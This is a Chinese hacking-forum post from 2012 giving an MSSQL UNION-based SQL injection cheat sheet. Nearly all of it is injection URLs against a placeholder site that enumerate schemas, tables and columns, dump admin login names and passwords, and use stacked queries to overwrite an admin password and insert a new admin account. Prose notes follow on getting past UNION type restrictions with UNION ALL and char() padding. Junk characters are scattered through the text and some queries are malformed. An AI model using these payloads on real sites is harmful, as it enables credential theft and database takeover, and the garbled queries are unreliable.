找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1738|回复: 0
打印 上一主题 下一主题

MSSQL用union查询爆数据

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:26:06 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
爆库:
9 z5 v: }$ b4 H1 i2 F% vhttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--8 Y# H/ s8 Z9 [% x
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.0 u! N2 K4 Y6 _0 c
爆下一个库:' t2 Y& y$ n' C0 h4 g
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
: q. Z* ~7 u3 x' [
7 c: k# n. V! k/ d) a- U! K# `爆表:: U5 a) t3 T0 {6 c9 ~$ b# j
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
  v% D+ ]% D0 u9 b. j
$ n* x4 F0 H  B  FSELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.
9 O. f9 K7 E* i3 W& }4 n' F' K9 y6 U! y( ^! j1 ~+ |' t
爆下一个表/ o% h7 C5 B4 m( G6 v; j. i2 N* m
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--3 p* c1 g& H$ M$ g6 S# E
" W/ |, j* K% C8 t% J2 {) E
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
8 K/ M- N3 J& Q
9 g+ G' p  G5 M/ }3 }' N( A8 a" X& R# _& t2 t7 H

8 m4 a$ m$ R! y. W  H爆字段:/ Q2 \6 L. g( a/ O8 r( {. Q
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
  C( J0 R( q$ l, g3 }+ v& D8 o% o% i. s0 A+ \
爆下一个字段
/ e9 U" ]  [' H. z, g* L. G) Dhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
, e$ Y7 D2 E' ~  j: u% [
, P1 k* Y8 s( P; uhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
: j/ X& |9 [- U) X
& F/ `+ Y& P; \0 W( G# [' k- y
6 p$ W2 C/ A1 k2 u爆字段里的内容6 _, W3 {! O4 q6 P$ D
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--
. ]" i8 T# Q/ c1 x8 i* O2 k8 Z! v
% F( @0 d6 p0 i5 T' Shttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--# O& ^! y0 f  N, \- f1 M# b
( B' H/ Y/ R& ]0 b5 S4 [
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
- F9 a, x- @7 A/ w7 g  u  q$ N- g* D- L+ Q' C
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--
( A3 Z7 ~7 P0 C7 Y, c  A
6 [: d6 m! @; w3 c. F更新字段里的内容+ j$ \3 b4 Y* k# @
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--6 y" Q) ]9 Y$ s9 o

9 k, H* l) ?, l* Ehttp://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--' H" _- k, Q  m& U% {
. N& ]( w3 o, a6 I$ o( `* z' I' I
/ c+ D: m3 `% `  r, [1 W
: o/ _, s, _. T- g
        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。* }3 n+ ~3 O) A+ D
    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。) O9 x$ n( x; \  F* |
    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
: Q5 H! H3 A9 F# Z9 e" T    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
( N! K) U# ^9 n5 [) Y  |- T# k1 c. o, Z
突了了大部份限制的语句; }8 S8 C3 d8 }0 Z% D( G$ a
and 1=2 union all select char(49),char(50),null,null;--
( h( b/ R) s/ T5 k& g: |# k" k
( G8 C6 I0 p3 l4 ^+ v& r- [3 S5 I/ g
null也可以正常执行,不过没有回显,不好判断回显的列数。0 b- \5 c1 ~1 w0 |
一般union遇到问题都是有text或者ntext字段,image的很少遇到
/ ~% w/ a. g/ g' O& j! g) [* x2 j9 `" m
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟  ?+ T4 X# X5 r1 r* J2 Z4 n# U) V
4 _3 u* @# _8 q
; Q. j* w4 Q. Z* `( b! |( a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表